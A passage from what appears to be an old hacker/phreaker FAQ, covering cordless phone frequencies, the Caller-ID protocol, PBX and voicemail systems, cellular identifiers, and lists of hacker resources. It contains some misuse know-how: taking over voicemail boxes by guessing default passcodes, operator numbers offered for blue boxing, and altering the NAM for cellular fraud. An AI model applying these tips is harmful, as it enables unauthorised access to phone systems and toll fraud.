903.300 927.300 51 903.600 927.600 32 903.030 927.030 42 903.330 927.330 52 903.630 927.630 33 903.060 927.060 43 903.360 927.360 53 903.660 927.660 34 903.090 927.090 44 903.390 927.390 54 903.690 927.690 35 903.120 927.120 45 903.420 927.420 55 903.720 927.720 36 903.150 927.150 46 903.450 927.450 56 903.750 927.750 37 903.180 927.180 47 903.480 927.480 57 903.780 927.780 38 903.210 927.210 48 903.510 927.510 58 903.810 927.810 39 903.240 927.240 49 903.540 927.540 59 903.840 927.840 40 903.270 927.270 50 903.570 927.570 60 903.870 927.870 ------------------------------------------------------------ V-TECH TROPEZ DX900 (20 CHANNELS) 905.6 - 907.5 TRANSPONDER (BASE) FREQUENCIES (100 KHZ SPACING) 925.5 - 927.4 HANDSET FREQUENCIES CH BASE HANDSET CH BASE HANDSET CH BASE HANDSET -- ------- ------- -- ------- ------- -- ------- ------- 01 905.600 925.500 08 906.300 926.200 15 907.000 926.900 02 905.700 925.600 09 906.400 926.300 16 907.100 927.000 03 905.800 925.700 10 906.500 926.400 17 907.200 927.100 04 905.900 925.800 11 906.600 926.500 18 907.300 927.200 05 906.000 925.900 12 906.700 926.600 19 907.400 927.300 06 906.100 926.000 13 906.800 926.700 20 907.500 927.400 07 906.200 926.100 14 906.900 926.800 ------------------------------------------------------------ Other 900mhz cordless phones AT&T #9120 - - - - - 902.0 - 905.0 & 925.0 - 928.0 MHZ OTRON CORP. #CP-1000 902.1 - 903.9 & 926.1 - 927.9 MHZ SAMSUNG #SP-R912- - - 903.0 & 927.0 MHZ ------------------------------------------------------------ --------------------------------------------------------------------------- C-31. What is Caller-ID? This FAQ answer is stolen from Rockwell: Calling Number Delivery (CND), better known as Caller ID, is a telephone service intended for residential and small business customers. It allows the called Customer Premises Equipment (CPE) to receive a calling party's directory number and the date and time of the call during the first 4 second silent interval in the ringing cycle. Parameters ~~~~~~~~~~ The data signalling interface has the following characteristics: Link Type: 2-wire, simplex Transmission Scheme: Analog, phase-coherent FSK Logical 1 (mark) 1200 +/- 12 Hz Logical 0 (space) 2200 +/- 22 Hz Transmission Rate: 1200 bps Transmission Level: 13.5 +/- dBm into 900 ohm load Protocol ~~~~~~~~ The protocol uses 8-bit data words (bytes), each bounded by a start bit and a stop bit. The CND message uses the Single Data Message format shown below. | Channel | Carrier | Message | Message | Data | Checksum | | Seizure | Signal | Type | Length | Word(s) | Word | | Signal | | Word | Word | | | Channel Seizure Signal ~~~~~~~~~~~~~~~~~~~~~~ The channel seizure is 30 continuous bytes of 55h (01010101) providing a detectable alternating function to the CPE (i.e. the modem data pump). Carrier Signal ~~~~~~~~~~~~~~ The carrier signal consists of 130 +/- 25 mS of mark (1200 Hz) to condition the receiver for data. Message Type Word ~~~~~~~~~~~~~~~~~ The message type word indicates the service and capability associated with the data message. The message type word for CND is 04h (00000100). Message Length Word ~~~~~~~~~~~~~~~~~~~ The message length word specifies the total number of data words to follow. Data Words ~~~~~~~~~~ The data words are encoded in ASCII and represent the following information: o The first two words represent the month o The next two words represent the day of the month o The next two words represent the hour in local military time o The next two words represent the minute after the hour o The calling party's directory number is represented by the remaining words in the data word field If the calling party's directory number is not available to the terminating central office, the data word field contains an ASCII "O". If the calling party invokes the privacy capability, the data word field contains an ASCII "P". Checksum Word ~~~~~~~~~~~~~ The Checksum Word contains the twos complement of the modulo 256 sum of the other words in the data message (i.e., message type, message length, and data words). The receiving equipment may calculate the modulo 256 sum of the received words and add this sum to the received checksum word. A result of zero generally indicates that the message was correctly received. Message retransmission is not supported. Example CNS Single Data Message ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ An example of a received CND message, beginning with the message type word, follows: 04 12 30 39 33 30 31 32 32 34 36 30 39 35 35 35 31 32 31 32 51 04h= Calling number delivery information code (message type word) 12h= 18 decimal; Number of data words (date,time, and directory number words) ASCII 30,39= 09; September ASCII 33,30= 30; 30th day ASCII 31,32= 12; 12:00 PM ASCII 32,34= 24; 24 minutes (i.e., 12:24 PM) ASCII 36,30,39,35,35,35,31,32,31,32= (609) 555-1212; calling party's directory number 51h= Checksum Word Data Access Arrangement (DAA) Requirements ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ To receive CND information, the modem monitors the phone line between the first and second ring bursts without causing the DAA to go off hook in the conventional sense, which would inhibit the transmission of CND by the local central office. A simple modification to an existing DAA circuit easily accomplishes the task. Modem Requirements ~~~~~~~~~~~~~~~~~~ Although the data signalling interface parameters match those of a Bell 202 modem, the receiving CPE need not be a Bell 202 modem. A V.23 1200 bps modem receiver may be used to demodulate the Bell 202 signal. The ring indicate bit (RI) may be used on a modem to indicate when to monitor the phone line for CND information. After the RI bit sets, indicating the first ring burst, the host waits for the RI bit to reset. The host then configures the modem to monitor the phone line for CND information. Signalling ~~~~~~~~~~ According to Bellcore specifications, CND signalling starts as early as 300 mS after the first ring burst and ends at least 475 mS before the second ring burst Applications ~~~~~~~~~~~~ Once CND information is received the user may process the information in a number of ways. 1. The date, time, and calling party's directory number can be displayed. 2. Using a look-up table, the calling party's directory number can be correlated with his or her name and the name displayed. 3. CND information can also be used in additional ways such as for: a. Bulletin board applications b. Black-listing applications c. Keeping logs of system user calls, or d. Implementing a telemarketing data base References ~~~~~~~~~~ For more information on Calling Number Delivery (CND), refer to Bellcore publications TR-TSY-000030 and TR-TSY-000031. To obtain Bellcore documents contact: Bellcore Customer Service 60 New England Avenue, Room 1B252 Piscataway, NJ 08834-4196 (908) 699-5800 --------------------------------------------------------------------------- C-32. How do I block Caller-ID? Always test as much as possible before relying on any method of blocking Caller-ID. Some of these methods work in some areas, but not in others. Dial *67 before you dial the number. (141 in the United Kingdom) Dial your local TelCo and have them add Caller-ID block to your line. Dial the 0 Operator and have him or her place the call for you. Dial the call using a pre-paid phone card. Dial through Security Consultants at (900)PREVENT for U.S. calls ($1.99/minute) or (900)STONEWALL for international calls ($3.99/minute). Dial from a pay phone. :-) --------------------------------------------------------------------------- C-33. How do I defeat Caller-ID blocking? Forward your phone line to a friend who lives in another LATA. When he receives the anonymous phone call, have him use *69 Call Return to dial to offending party back. As he is now placing a long distance phone call, the telephone number of the anonymous caller will show up on your friends phone bill at the end of the month. A variation of this system is available in areas where the local phone company offers per-call billing (as opposed to unlimited flat rate local calling) and where the local phone company issues itemized bills on those local phone calls. In those areas, you can switch your phone line to itemized local calling, *69 Call Return the anonymous telephone call, and read the anonymous callers telephone number at the end of the month. If you are particularly anxious, you can often request your toll records from your local telephone company without waiting for your final bill. --------------------------------------------------------------------------- C-34. What is a PBX? A PBX (Private Branch Exchange) is a small telephone switch owned by a company or organization. These organizations purchase PBX's to reduce the total number of telephone lines they need to lease from the telephone company. Without a PBX, a company will need to lease one telephone line for every employee with a telephone. [Note from Dan Mellem: Technically, a phone switch is known as a PABX (automatic) unless the inside people must call the operator to get an outside line. H.] With a PBX, every employees telephone line is wired to the PBX. When an employee takes the receiver off hook (i.e. picks up the telephone) and dials the outside access code (usually 9), the PBX connect the employee to an outside line (often, though somewhat incorrectly, referred to as a trunk). With a PBX, the company only needs to lease as many lines from the telephone company as the maximum number of employees that will be making outside calls at one time. This is usually around 10% of the number of extensions. Two common PBX systems are AT&T's Definity series (also known as the System 75 and Sytem 85) and Northern Telecom's Meridian series. Other manufacturers include ROLM, Siemens, NEC, and Mitel. --------------------------------------------------------------------------- C-35. What is a VMB? A VMB (Voice Mail Box) is a computer that acts as an answering machine for hundreds or thousands of users. Each user will have their own Voice Mail Box on the system. Each mail box will have a box number and a pass code. Without a passcode, you will usually be able to leave messages to users on the VMB system. With a passcode, you can read messages and administer a mailbox. Often, mailboxes will exist that were created by default or are no longer used. These mailboxes may be taken over by guessing their passcode. Often the passcode will be the mailbox number or a common number such as 1234. Two common VMB systems are AT&T's Audix system and Northern Telecom's Meridian Mail. --------------------------------------------------------------------------- C-36. What are the ABCD tones for? The ABCD tones are simply additional DTFM tones that may be used in any way the standard (0-9) tones are used. The ABCD tones are used in the U.S. military telephone network (AutoVon), in some Automatic Call Distributor (ACD) systems, for control messages in some PBX systems, and in some amateur radio auto-patches. In the AutoVon network, special telephones are equipped with ABCD keys. The ABCD keys are defined as such: A - Flash B - Flash override priority C - Priority communication D - Priority override Using a built-in maintenance mode of the Automatic Call Distributor (ACD) systems once used by Directory Assistance operators, you could connect two callers together. The purpose of the Silver Box is to create the ABCD tones. See also "What are the DTMF Frequencies?" --------------------------------------------------------------------------- C-37. What are the International Direct Numbers? The numbers are used so that you may connect to an operator from a foreign telephone network, without incurring long distance charges. These numbers may be useful in blue boxing, as many countries still have older switching equipment in use. Australia (800)682-2878 Austria (800)624-0043 Belgium (800)472-0032 Belize (800)235-1154 Bermuda (800)232-2067 Brazil (800)344-1055 British VI (800)278-6585 Cayman (800)852-3653 Chile (800)552-0056 China (Shanghai) (800)532-4462 Costa Rica (800)252-5114 Denmark (800)762-0045 El Salvador (800)422-2425 Finland (800)232-0358 France (800)537-2623 Germany (800)292-0049 Greece (800)443-5527 Guam (800)367-4826 HK (800)992-2323 Hungary (800)352-9469 Indonesia (800)242-4757 Ireland (800)562-6262 Italy (800)543-7662 Japan (800)543-0051 Korea (800)822-8256 Macau (800)622-2821 Malaysia (800)772-7369 Netherlands (800)432-0031 Norway (800)292-0047 New Zealand (800)248-0064 Panama (800)872-6106 Portugal (800)822-2776 Philippines (800)336-7445 Singapore (800)822-6588 Spain (800)247-7246 Sweden (800)345-0046 Taiwan (800)626-0979 Thailand (800)342-0066 Turkey (800)828-2646 UK (800)445-5667 Uruguay (800)245-8411 Yugoslavia (800)367-9842 (Belgrade) 367-9841 (Zagreb) USA from outside (800)874-4000 Ext. 107 --------------------------------------------------------------------------- C-38. What are some telephone switches? SWITCH VENDOR TYPE DESCRIPTION -------- ------- ------- ----------------------------------- 1AES AT&T Analog No. 1A ESS 1ES AT&T Analog No. 1 ESS 2BES AT&T Analog No. 2B ESS 2ES AT&T Analog No. 2 ESS 3ES AT&T Analog No. 3 ESS 3XB AT&T E/M No. 3 Cross-Bar 4ES AT&T Digital No. 4 ESS 5AXB AT&T E/M No. 5A Cross-Bar 5ES AT&T Digital No. 5 ESS 5ORM AT&T Digital Optical Remote Module 5RSM AT&T Digital Remote Switching Module 5XB AT&T E/M No. 5 Cross-Bar AXE10 Ericsson Digital Stand Alone or Host AXRSS Ericsson Digital Remote DGTL Digital Generic Digital Switch DMS1/200 NTI Digital DMS 100/200 DMS10 NTI Digital DMS 10 DMS100 NTI Digital DMS 100 DMS200 NTI Digital DMS 200 DPN NTI Packet Packet Switch EDX Siemens Packet Packet Switch NC23 NEC E/M NEC Cross-Bar NEAX61E NEC Digital NEC switch RLCM NTI Digital Remote Line Conc Module RLCM-10 NTI Digital Remote Line Conc Module RLM NTI Digital Remote Line Module RSC NTI Digital Remote Switching Center RSCI NTI Digital ISDN RSC RSLE NTI Digital Remote Subscr Line Equip RSM AT&T Digital Remote Switching System RSS AT&T Analog Remote Switching System RSU Digital Generic Remote Switching Unit SXS AT&T E/M Step by Step =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-=-=-=-=-=-=-=-=-=-=-= Section D -- Cellular Telephony -=-=-=-=-=-=-=-= =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= D-01. What is a MTSO? MTSO stands for Mobile Telephone Switching Office. The MTSO is the switching office that connects all of the individual cell towers to the Central Office (CO). The MTSO is responsible for monitoring the relative signal strength of your cellular phone as reported by each of the cell towers, and switching your conversation to the cell tower which will give you the best possible reception. --------------------------------------------------------------------------- D-02. What is a NAM? NAM stands for Number Assignment Module. The NAM is the EPROM that holds information such as the MIN and SIDH. Cellular fraud is committed by modifying the information stored in this component. --------------------------------------------------------------------------- D-03. What is an ESN? ESN stands for Electronic Serial Number. The is the serial number of your cellular telephone which is transmitted to the cell site, and used in conjuction with the NAM to verify that you are a legitimate user on the system. --------------------------------------------------------------------------- D-04. What is a MIN? MIN stands for Mobile Identification Number. This is the phone number of the cellular telephone. --------------------------------------------------------------------------- D-05. What is a SCM? SCM stands for Station Class Mark. The SCM is a 4 bit number which holds three different pieces of information. Your cellular telephone transmits this information (and more) to the cell tower. Bit 1 of the SCM tells the cell tower whether your cellphone uses the older 666 channel cellular system, or the newer 832 channel cellular system. The expansion to 832 channels occured in 1988. Bit 2 tells the cellular system whether your cellular telephone is a mobile unit or a voice activated cellular telephone. Bit's 3 and 4 tell the cell tower what power your cellular telephone should be transmitting on. Bit 1: 0 == 666 channels 1 == 832 channels Bit 2: 0 == Mobile cellular telephone 1 == Voice activated cellular telephone Bit 3/4: 00 == 3.0 watts (Mobiles) 01 == 1.2 watts (Transportables) 10 == .06 watts (Portables) 11 == Reserved for future use --------------------------------------------------------------------------- D-06. What is a SIDH? SIDH stands for System Identification for Home System. The SIDH in your cellular telephone tells the cellular system what system your cellular service originates from. This is used in roaming (making cellular calls when in an area not served by your cellular provider). Every geographical region has two SIDH codes, one for the wireline carrier and one for the nonwireline carrier. These are the two companies that are legally allowed to provide cellular telephone service in that region. The wireline carrier is usually your local telephone company, while the nonwireline carrier will be another company. The SIDH for the wireline carrier is always an even number, while the SIDH for the nonwireline carrier is always an odd number. The wireline carrier is also known as the Side-B carrier and the non-wireline carrier is also known as the Side-A carrier. SIDH is often abbreviated to SID. --------------------------------------------------------------------------- D-07. What are the forward/reverse channels? Forward channels are the frequencies the cell towers use to talk to your cellular telephone. Reverse channels are the frequencies your cellular telephone uses to talk to the cell towers. The forward channel is 45 mhz above the reverse channel. For example, if the reverse channel is at 824 mhz, the forward channel would be at 869 mhz. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-=-=-=-=-=-=-=-=-=-=-= Section E -- Resources =-=-=-=-=-=-=-=-=-=-=-=-= =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= E-01. What are some ftp sites of interest to hackers? 204.215.84.2 /pub/dmackey 2600.com (2600 Magazine) aeneas.mit.edu (Kerberos) alex.sp.cs.cmu.edu /links/security (Misc) asylum.sf.ca.us (CyberWarriors of Xanadu) atari.archive.umich.edu /pub/atari/Utilities/pgp261st.zip (Atari PGP) athena-dist.mit.edu /pub/ATHENA (Athena Project) atlantis.utmb.edu (Anti-virus) bellcore.com (Bellcore) cert.org (CERT) ciac.llnl.gov (CIAC) cnit.nsk.su /pub/security (Security) coast.cs.purdue.edu /pub (Security/COAST) coombs.anu.edu.au /pub/security (Security) csrc.ncsl.nist.gov (NIST Security) dartmouth.edu /pub/security (Security) ds.internic.net (Internet documents) dutiws.twi.tudelft.nl /pub/novell etext.archive.umich.edu /pub/Zines/PrivateLine (PrivateLine) fastlane.net /pub/nomad ftp.3com.com /pub/Orange-Book (Orange Book) ftp.acns.nwu.edu /pub (Mac Anti-virus) ftp.acsu.buffalo.edu /pub/security & /pub/irc (Security & IRC) ftp.alantec.com /pub/tcpr (Tcpr) ftp.armory.com /pub/user/kmartind (H/P) ftp.armory.com /pub/user/swallow (H/P) ftp.auscert.org.au /pub (Australian CERT) ftp.cerf.net /pub/software/unix/security (CERFnet) ftp.cert.dfn.de (FIRST) ftp.cisco.com (Cisco) ftp.commerce.net /pub/standards/drafts/shttp.txt (Secure HyperText) ftp.cs.colorado.edu ftp.cs.ruu.nl /pub/SECURITY (Security & PGP) ftp.cs.uwm.edu /pub/comp-privacy (Privacy Digest) ftp.cs.vu.nl ftp.cs.yale.edu ftp.csi.forth.gr /pub/security ftp.csl.sri.com /pub/nides (SRI) ftp.csn.org /mpj (Cryptology) ftp.csua.berkeley.edu /pub/cypherpunks (Crypto) ftp.delmarva.com ftp.demon.co.uk /pub/misc/0800num.txt (0800/0500 numbers) ftp.denet.dk /pub/security/tools/satan ftp.digex.net /pub/access/dunk ftp.dsi.unimi.it /pub/security/crypt (Crypto) ftp.dstc.edu.au /pub/security/satan ftp.ee.lbl.gov N ftp.ee.ualberta.ca/pub/cookbook/telecom (Telecom electronics) ftp.eff.org /pub/Publications/CuD (EFF) ftp.elelab.nsc.co.jp /pub/security (Security) ftp.etext.org (Etext) ftp.fc.net /pub/deadkat (TNO) ftp.fc.net /pub/defcon (DefCon) ftp.fc.net /pub/defcon/BBEEP (BlueBeep) ftp.fc.net /pub/phrack (Phrack) ftp.foobar.com ftp.funet.fi /pub/doc/CuD ftp.gate.net /pub/users/laura ftp.gate.net /pub/users/wakko ftp.giga.or.at /pub/hacker/ (H/P) ftp.greatcircle.com /pub/firewalls (Firewalls) ftp.IEunet.ie /pub/security (Security) ftp.ifi.uio.no ftp.indirect.com /www/evildawg/public_access/C&N/ ftp.info.fundp.ac.be ftp.informatik.uni-hamburg.de ftp.informatik.uni-kiel.de /pub/sources/security ftp.inoc.dl.nec.com /pub/security (Security) ftp.isi.edu ftp.lava.net /users/oracle/ (H/P ftp.leo.org/pub/com/os/os2/crypt ftp.lerc.nasa.gov /security ftp.llnl.gov /pub (CIAC) ftp.luth.se /pub/unix/security ftp.lysator.liu.se ftp.mcs.anl.gov /pub/security ftp.microserve.net /ppp-pop/strata/mac (Mac) ftp.near.net /security/archives/phrack (Zines) ftp.nec.com ftp.net.ohio-state.edu /pub/security/satan ftp.netcom.com /pub/br/bradleym (Virii) ftp.netcom.com /pub/da/daemon9 (H/P) ftp.netcom.com /pub/fi/filbert ftp.netcom.com /pub/gr/grady ftp.netcom.com /pub/il/illusion (H/P+Virus) ftp.netcom.com /pub/je/jericho (H/P) ftp.netcom.com /pub/le/lewiz (Social Engineering) ftp.netcom.com /pub/ty/tym (TYM) ftp.netcom.com /pub/va/vandal (DnA) ftp.netcom.com /pub/wt/wtech/ ftp.netcom.com /pub/zi/zigweed (H/P) ftp.netcom.com /pub/zz/zzyzx (H/P) ftp.netsys.com ftp.ocs.mq.edu.au /PC/Crypt (Cryptology) ftp.ox.ac.uk /pub/comp/security ftp.ox.ac.uk /pub/crypto (Cryptology) ftp.ox.ac.uk /pub/wordlists (Wordlists) ftp.paranoia.com /pub/toneloc/tl110.zip (ToneLoc) ftp.pipex.net /pub/areacode (uk areacodes) ftp.pop.psu.edu ftp.primenet.com /users/i/insphrk ftp.primenet.com /users/k/kludge (H/P) ftp.primenet.com /users/s/scuzzy (Copy Protection) ftp.primus.com /pub/security (Security) ftp.psy.uq.oz.au ftp.psy.uq.oz.au /pub/DES ftp.rahul.net /pub/conquest/DeadelviS/script/vms/ ftp.rahul.net /pub/lps (Home of the FAQ) ftp.sert.edu.au ftp.sgi.com ftp.smartlink.net /pub/users/mikes/haq ftp.std.com /archives/alt.locksmithing (Locksmithing) ftp.std.com /obi/Mischief/ (MIT Guide to Locks) ftp.std.com /obi/Phracks (Zines) ftp.sunet.se /pub/network/monitoring (Ethernet sniffers) ftp.sura.net /pub/security (SURAnet) ftp.technet.sg ftp.technion.ac.il ftp.tis.com /pub (TIS) ftp.tisl.ukans.edu /pub/security ftp.uni-koeln.de (Wordlists) ftp.uspto.gov ftp.uu.net /doc/literary/obi/Phracks (Zines) ftp.uwp.edu /pub/dos/romulus/cracks (Copy Protection) ftp.vis.colostate.edu ftp.vix.com ftp.vortex.com ftp.warwick.ac.uk /pub/cud (Zines) ftp.wi.leidenuniv.nl /pub/security ftp.win.tue.nl /pub/security (Security) ftp.winternet.com /users/nitehwk (H/P) ftp.wustl.edu /doc/EFF (EFF) ftp.zoom.com ftp.zrz.tu-berlin.de/pub/security/virus/texts/crypto (Cryptology) garbo.uwasa.fi /pc/crypt (Cryptology) gemini.tuc.noao.edu /pub/grandi gti.net /pub/safetynet gumby.dsd.trw.com hack-this.pc.cc.cmu.edu (Down for Summer) heffer.lab.csuchico.edu (Third Stone From The Sun) hplyot.obspm.fr info.mcs.anl.gov infonexus.com /pub (The Guild) jerico.usc.edu l0pht.com (The L0pht) lcs.mit.edu /telecom-archives (Telecom archives) lod.com (Legion of Doom) mac.archive.umich.edu mary.iia.org /pub/users/patriot (Misc) monet.ccs.itd.umich.edu net-dist.mit.edu /pub/pgp net.tamu.edu /pub/security/TAMU (Security) net23.com /pub (Max Headroom) nic.ddn.mil /scc (DDN Security) nic.sura.net /pub/security oak.oakland.edu /pub/hamradio (Ham Radio) oak.oakland.edu /SimTel/msdos/sound (DTMF decoders) oak.oakland.edu /SimTel/msdos/sysutil (BIOS attackers) parcftp.xerox.com prism.nmt.edu /pub/misc (Terrorist Handbook) pyrite.rutgers.edu /pub/security (Security) relay.cs.toronto.edu /doc/telecom-archives (Telecom) rena.dit.co.jp /pub/security (Security) research.att.com /dist/internet_security (AT&T) ripem.msu.edu /pub/crypt (Ripem) rmii.com /pub2/KRaD (KRaD Magazine) rtfm.mit.edu (Etext) rtfm.mit.edu /pub/usenet-by-group (Usenet FAQ's) scss3.cl.msu.edu /pub/crypt (Cryptology) sgigate.sgi.com /Security (SGI Security) sierra.stanford.edu spy.org (CSC) src.doc.ic.ac.uk /usenet/uk.telecom (uk.telecom archives) suburbia.apana.org.au /pub/unix/security (Security) sunsolve1.sun.com theta.iis.u-tokyo.ac.jp /pub1/security (Security) titania.mathematik.uni-ulm.de /pub/security (Security) toxicwaste.mit.edu /pub/rsa129/README (Breaking RSA) ugle.unit.no unipc20.unimed.sintef.no vic.cc.purdue.edu vixen.cso.uiuc.edu /security web.mit.edu whacked.l0pht.com (Mac + H/P) wimsey.bc.ca /pub/crypto (Cryptology) wuarchive.wustl.edu /pub/aminet/util/crypt --------------------------------------------------------------------------- E-02. What are some fsp sites of interest to hackers? None known at this time. --------------------------------------------------------------------------- E-03. What are some newsgroups of interest to hackers? alt.2600 Do it 'til it hertz N alt.2600.414 alt.2600hz alt.2600.codez alt.2600.debate N alt.2600.hackerz N alt.2600.hope.announce N alt.2600.hope.d N alt.2600.hope.tech alt.2600.moderated N alt.2600.phreakz N alt.2600.programz N alt.2600hz N alt.2600.warez N alt.2600.AOL N alt.2600.QnA alt.cellular alt.cellular-phone-tech Brilliant telephony mind blow netnews naming alt.comp.virus An unmoderated forum for discussing viruses alt.comp.virus.source.code alt.cracks Heavy toolbelt wearers of the world, unite alt.cyberpunk High-tech low-life. alt.cyberspace Cyberspace and how it should work. alt.dcom.telecom Discussion of telecommunications technology alt.engr.explosives [no description available] alt.fan.kevin-mitnick alt.fan.lewiz Lewis De Payne fan club alt.hackers Descriptions of projects currently under development alt.hackintosh alt.locksmithing You locked your keys in *where*? alt.hackers.malicious The really bad guys - don't take candy from them alt.ph.uk United Kingdom version of alt.2600 alt.privacy.anon-server Tech. & policy matters of anonymous contact servers alt.radio.pirate Hide the gear, here comes the magic station-wagons. alt.radio.scanner Discussion of scanning radio receivers. alt.satellite.tv.europe All about European satellite tv alt.security Security issues on computer systems alt.security.index Pointers to good stuff in misc.security (Moderated) alt.security.keydist Exchange of keys for public key encryption systems alt.security.pgp The Pretty Good Privacy package alt.security.ripem A secure email system illegal to export from the US comp.dcom.cellular [no description available] comp.dcom.telecom Telecommunications digest (Moderated) comp.dcom.telecom.tech [no description available] comp.org.cpsr.announce Computer Professionals for Social Responsibility comp.org.cpsr.talk Issues of computing and social responsibility comp.org.eff.news News from the Electronic Frontiers Foundation comp.org.eff.talk Discussion of EFF goals, strategies, etc. comp.os.netware.security Netware Security issues comp.protocols.kerberos The Kerberos authentification server comp.protocols.tcp-ip TCP and IP network protocols comp.risks Risks to the public from computers & users comp.security.announce Announcements from the CERT about security comp.security.firewalls Anything pertaining to network firewall security comp.security.misc Security issues of computers and networks comp.security.unix Discussion of Unix security comp.virus Computer viruses & security (Moderated) de.org.ccc Mitteilungen des CCC e.V. misc.security Security in general, not just computers (Moderated) rec.pyrotechnics Fireworks, rocketry, safety, & other topics rec.radio.scanner [no description available] rec.video.cable-tv Technical and regulatory issues of cable television sci.crypt Different methods of data en/decryption --------------------------------------------------------------------------- E-04. What are some telnet sites of interest to hackers? anarchy-online.com ntiabbs.ntia.doc.gov (NTIA) l0pht.com (The L0pht) sfpg.gcomm.com (The Floating Pancreas) telnet lust.isca.uiowa.edu 2600 (underground bbs) (temporarily down) pcspm2.dar.csiro.au (Virtual Doughnutland BBS) prince.carleton.ca 31337 (Twilight of The Idols) spy.org (Computer Systems Consulting) --------------------------------------------------------------------------- E-05. What are some gopher sites of interest to hackers? ba.com (Bell Atlantic) cell-relay.indiana.edu (Cell Relay Retreat) N coast.cs.purdue.edu (COAST) csrc.ncsl.nist.gov (NIST Security Gopher) gopher.acm.org (SIGSAC (Security, Audit & Control)) gopher.cpsr.org (Computer Professionals for Social Responsibility) gopher.eff.org (Electonic Frontier Foundation) gopher.panix.com (Panix) gw.PacBell.com (Pacific Bell) iitf.doc.gov (NITA -- IITF) info.itu.ch (International Telegraph Union) ncjrs.aspensys.com (National Criminal Justice Reference Service) oss.net (Open Source Solutions) spy.org (Computer Systems Consulting) wiretap.spies.com (Wiretap) --------------------------------------------------------------------------- E-06. What are some World wide Web (WWW) sites of interest to hackers? The maintenance of this section simply grew out of control. There is information of interest to hackers all over the World Wide Web. To find what you are looking for, consult one of these fine search engines: www.hotbot.com HotBot: The Wired Search Center www.altavista.digital.com AltaVista Search Network www.yahoo.com Yahoo! www.lycos.com Lycos www.webcrawler.com WebCrawler www.ionfoseek.com InfoSeek www.excite.com eXcite www.dejanews.com DejaNews [Now http://groups.google.com/ H.] --------------------------------------------------------------------------- E-07. What are some IRC channels of interest to hackers? #2600 #cellular #hack #phreak #linux #realhack #root #unix #warez --------------------------------------------------------------------------- E-08. What are some BBS's of interest to hackers? Rune Stone (203)832-8441 NUP: Cyberdeck N Strange Days (207)490-2158 The Truth Sayer's Domain (210)493-9975 Independent Nation (413)573-1809 Ut0PiA (315)656-5135 underworld_1994.com (514)683-1894 Alliance Communications (612)251-8596 Maas-Neotek (617)855-2923 Apocalypse 2000 (847)831-0484 K0dE Ab0dE (713)579-2276 fARM R0Ad 666 (713)855-0261 kn0wledge Phreak BBS (719)578-8288 NUP=NO NUP The Edge of Reality (805)496-7460 Static Line (806)747-0802 Area 51 (908)526-4384 The Drunk Forces +972-3-5733477 --------------------------------------------------------------------------- E-09. What are some books of interest to hackers? General Computer Security ~~~~~~~~~~~~~~~~~~~~~~~~~ Computer Security Basics Author: Deborah Russell and G.T. Gengemi Sr. Publisher: O'Reilly & Associates, Inc. Copyright Date: 1991 ISBN: 0-937175-71-4 This is an excellent book. It gives a broad overview of computer security without sacrificing detail. A must read for the beginning security expert. Information Systems Security Author: Philip Fites and Martin Kratz Publisher: Van Nostrad Reinhold Copyright Date: 1993 ISBN: 0-442-00180-0 Computer Related Risks Author: Peter G. Neumann Publisher: Addison-Wesley Copyright Date: 1995 ISBN: 0-201-55805-X Computer Security Management Author: Karen Forcht Publisher: boyd & fraser publishing company Copyright Date: 1994 ISBN: 0-87835-881-1 The Stephen Cobb Complete Book of PC and LAN Security Author: Stephen Cobb Publisher: Windcrest Books Copyright Date: 1992 ISBN: 0-8306-9280-0 (hardback) 0-8306-3280-8 (paperback) Security in Computing Author: Charles P. Pfleeger Publisher: Prentice Hall Copyright Date: 1989 ISBN: 0-13-798943-1. Building a Secure Computer System Author: Morrie Gasser Publisher: Van Nostrand Reinhold Co., New York. Copyright Date: ISBN: 0-442-23022-2 Modern Methods for Computer Security Author: Lance Hoffman Publisher: Prentice Hall Copyright Date: 1977 ISBN: Windows NT 3.5 Guidelines for Security, Audit and Control Author: Publisher: Microsoft Press Copyright Date: ISBN: 1-55615-814-9 Protection and Security on the Information Superhighway Author: Dr. Frederick B. Cohen) Publisher: John Wiley & Sons Copyright Date: 1995 ISBN: 0-471-11389-1 Commonsense Computer Security Author: Martin Smith Publisher: McGraw-Hill Copyright Date: 1993 ISBN: 0-07-707805-5 Combatting Computer Crime Author: Jerry Papke Publisher: McGraw-Hill, Inc. / Chantico Publishing Company, Inc. Copyright Date: 1992 ISBN: 0-8306-7664-3 Computer Crime: a Crimefighters Handbook Author: David Icove, Karl Seger and William VonStorch Publisher: O'Reilly & Associates Copyright Date: 1995 ISBN: 1-56592-086-4 Unix System Security ~~~~~~~~~~~~~~~~~~~~ Practical Unix Security Author: Simson Garfinkel and Gene Spafford Publisher: O'Reilly & Associates, Inc. Copyright Date: 1991 ISBN: 0-937175-72-2 Unix System Security Author: Rik Farrow Publisher: Addison Wesley Copyright Date: 1991 ISBN: 0-201-57030-0 Unix Security: A Practical Tutorial Author: N. Derek Arnold Publisher: McGraw Hill Copyright Date: 1993 ISBN: 0-07-002560-6 Unix System Security: A Guide for Users and Systems Administrators Author: David A. Curry Publisher: Addison-Wesley Copyright Date: 1992 ISBN: 0-201-56327-4 Unix System Security Author: Patrick H. Wood and Stephen G. Kochan Publisher: Hayden Books Copyright Date: 1985 ISBN: 0-672-48494-3 Unix Security for the Organization Author: Richard Bryant Publisher: Sams Copyright Date: 1994 ISBN: 0-672-30571-2 Unix System Security Essentials Author: Christopher Braun Publisher: Addison Wesley Copyright Date: 1995 ISBN: 0-201-42775-3 Firewalls ~~~~~~~~~ Building Internet Firewalls Author: D. Brent Chapman and Elizabeth D. Zwicky Publisher: O'Reilly and Associates, Inc. Copyright Date: 1995 ISBN: 1-56592-124-0 If you are going to purchase a book on firewalls, this is the one to buy. Firewalls and Internet Security Author: William Cheswick and Steven Bellovin Publisher: Addison Wesley Copyright Date: 1994 ISBN: 0-201-63357-4 Internet Firewalls and Network Security Author: Karanjit S. Siyan and Chris Hare Publisher: New Riders Publishing Copyright Date: 1995 ISBN: 1-56205-437-6 Network Security ~~~~~~~~~~~~~~~~ Network 